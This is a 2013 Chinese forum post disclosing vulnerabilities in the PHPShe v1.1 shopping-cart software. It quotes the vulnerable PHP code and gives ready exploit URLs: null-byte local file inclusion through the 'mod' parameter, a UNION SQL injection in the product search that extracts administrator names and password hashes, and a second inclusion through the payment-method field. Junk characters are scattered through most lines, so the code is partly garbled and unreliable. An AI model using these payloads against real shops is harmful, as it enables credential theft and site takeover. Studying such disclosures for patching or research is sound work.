找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2077|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
6 Q; D- P1 j! K1 j/* Phpshe v1.1 Vulnerability
3 d" r2 w: L' L, j& x' b* e/* ========================
' T1 j" }( r, a& E/* By: : Kn1f3
  n* T" O, s: X+ Y4 Z/* E-Mail : 681796@qq.com
$ `4 y# J4 j" I: ?/*******************************************************/6 n8 w9 |! R; z) V& u& L6 L
0×00 整体大概参数传输8 t) }- E  k0 k

. e* @( H4 T, Y5 t/ ?  V- n3 i: }9 W% e
. ~% W7 J1 [- M4 k
//common.php
/ h1 l# _% H( v( {: Nif (get_magic_quotes_gpc()) {$ o9 d& u/ m. [$ G! E
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');* Y4 x8 x) |2 r
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
9 A* s" @$ }+ d4 q9 {}# W1 _% a9 O6 G& w5 W/ k
else {
0 _9 y" h* w% ?3 z!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
' r6 x6 A% a9 D* ]!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');' C3 {3 d0 V1 L- [% G) t
}
8 P, X& x, G1 j5 q9 Y0 u& jsession_start();
8 R: r: q; a6 ~/ t!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
0 K4 _% q8 v, S# y, a5 C# C* \!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');3 E! s$ T8 p* P( `$ g

' u8 o; D2 v7 x6 X& `, t1 n0×01 包含漏洞! y! s8 D2 v- Y% l  w

+ B/ @) p0 `; A
4 S5 C: ?+ c' S- {% N0 g% {3 w9 s  X+ O
//首页文件
& u: K* O+ j( n2 b. U# R* v" a<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);4 U! C9 Q5 ]+ Z5 F- a8 Y4 @& U
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
- S+ F& R- M! g* ]  g2 epe_result();
" v5 D% `) \! Y6 C) X?>
: P) S* C7 F4 o& x1 _9 F) o7 v( [3 G//common 文件 第15行开始7 y! L7 f$ o* Q  {
url路由配置
6 g$ `/ e, `5 D4 z; M( B$module = $mod = $act = 'index';( P- a* a+ I- S8 O
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
2 y. A$ i: ^) T, v7 e, {0 f$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);& y6 L) G" \$ |! |2 f" w
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);- M/ \6 E3 A0 V2 I
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00- W" }3 I: z( W) d9 z$ |3 w) B


+ |8 B$ m; k; n9 t! q + `( v0 s# @% c4 k
0×02 搜索注入
! w' l: t8 e; X% ]5 ? 2 y: T7 c) s; S, J. F
<code id="code2">

//product.php文件# o! w6 J: N3 ?% H. H
case 'list':: j' ], Y0 j- A
$category_id = intval($id);
8 S4 {1 o& A" T6 @4 U( P$info = $db->pe_select('category', array('category_id'=>$category_id));1 |, V0 L; B. E0 k! e2 h% g& @* V
//搜索
( K/ C* `& o  N! B$sqlwhere = " and `product_state` = 1";
2 s- E; L) H! Ype_lead('hook/category.hook.php');. R& `/ T' _( C8 w
if ($category_id) {
4 k& M# [) O7 G; awhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";7 a3 ?0 j0 u6 a" I
}  s+ D- `/ ^% A- P3 g9 \
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
$ o! m( G) N5 I& z" i* i; i5 @if ($_g_orderby) {/ S' s/ h$ k( Y  i7 C9 f
$orderby = explode('_', $_g_orderby);
! D0 x. L$ T2 m7 N6 W$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
7 m4 \5 M" l5 v; J" J}
' ?& y2 x/ y6 C2 b. delse {
6 I; G0 a$ r. V. L& ?' w- G$ a1 z$sqlwhere .= " order by `product_id` desc";  G/ p( I- _9 F) q3 g' C
}
! G5 ?4 i4 X7 _- Q  Y& N$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));7 o& m' k7 \$ ?& h0 B; x# T( A
//热卖排行
2 a# t& \1 v3 H$product_hotlist = product_hotlist();4 m* s1 n0 S( y  I# U
//当前路径
( z/ B/ R0 g3 W$nowpath = category_path($category_id);
! V% `& J2 `/ k. |$seo = pe_seo($info['category_name']);
, X! \. h& S' m! q# zinclude(pe_tpl('product_list.html'));
; P, j( e0 D+ C3 Y3 ]. W//跟进selectall函数库
. t1 R6 S+ k6 ~" {% u/ y. P$ Npublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
4 W6 G' F# j' j2 g+ Q{% A5 c: f4 i' \9 w1 X
//处理条件语句
! C" I2 r9 M9 ?, a4 T$sqlwhere = $this->_dowhere($where);5 T1 \1 Z9 F9 p" j' N) j# C
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);. s3 F2 P# H1 }) F
}
/ b3 O' ?# }9 ^//exp# b: W# A- |3 P1 Z- d. f& E
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
5 ?4 `% o, Y5 [

</code>$ X/ w; |+ N% F2 d" x& t

" j' R' D1 x6 Q5 V, v; w- W/ @0×03 包含漏洞2& I. K( B7 ~9 i' c
7 t" K4 [% Y9 _4 }
<code id="code3">

//order.php

case 'pay':


4 [. F- m8 S; G$order_id = pe_dbhold($_g_id);

& Z* n- _# X) Z' \
$cache_payway = cache::get('payway');

# G) d( j+ j" n" ?- s4 m8 P
foreach($cache_payway as $k => $v) {

" N7 K9 s. g9 P# O" U. x& A- T% z
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


: o: ~) ?6 X% m. dif ($k == 'bank') {


" J2 v& n- R+ J5 P, }5 H7 U$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


# J6 K& p# S3 z1 C. ~}


, q6 G# H$ q! |- S* c; ?: }}


: \/ R% E4 d7 d- `: b) {0 W5 ~$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


) }% X2 [# M# J+ X8 {!$order['order_id'] && pe_error('订单号错误...');


# Y& B8 r* W3 p; y. ]0 U7 ?if (isset($_p_pesubmit)) {

% T4 c: k: N3 Y/ `# A' V% C
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

, s, [* h- z2 |4 u) O
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

  j; A! Q/ a  `/ q1 U! [
foreach ($info_list as $v) {

% k! ^5 e% `# s0 F; ], u* G5 Q
$order['order_name'] .= "{$v['product_name']};";5 [" E" |* c$ i9 k8 D0 U


2 M" ^/ I9 N6 ?6 r) H/ q0 i: M}

! Z4 R2 H5 f) f1 t4 P* p6 I5 V
echo '正在为您连接支付网站,请稍后...';

* x% Y/ z9 b7 w5 E& P
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

7 f% Y3 B% i) [; V1 F4 ?
}//当一切准备好的时候就可以进行"鸡肋包含了"


+ g% K; ^9 c& V6 J5 uelse {

8 u. x) u2 w( r5 b  S
pe_error('支付错误...');


/ P' Y; p8 p* M}


- L8 o  @! \$ M" b' S- L}

  y8 D8 K1 y) y
$seo = pe_seo('选择支付方式');

$ w, u6 ~# v: h6 P* g1 ^! B
include(pe_tpl('order_pay.html'));


9 |$ E7 [2 V1 J5 H( `break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
7 ]' J8 ~1 l# P0 ?' J5 ?- Ahttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表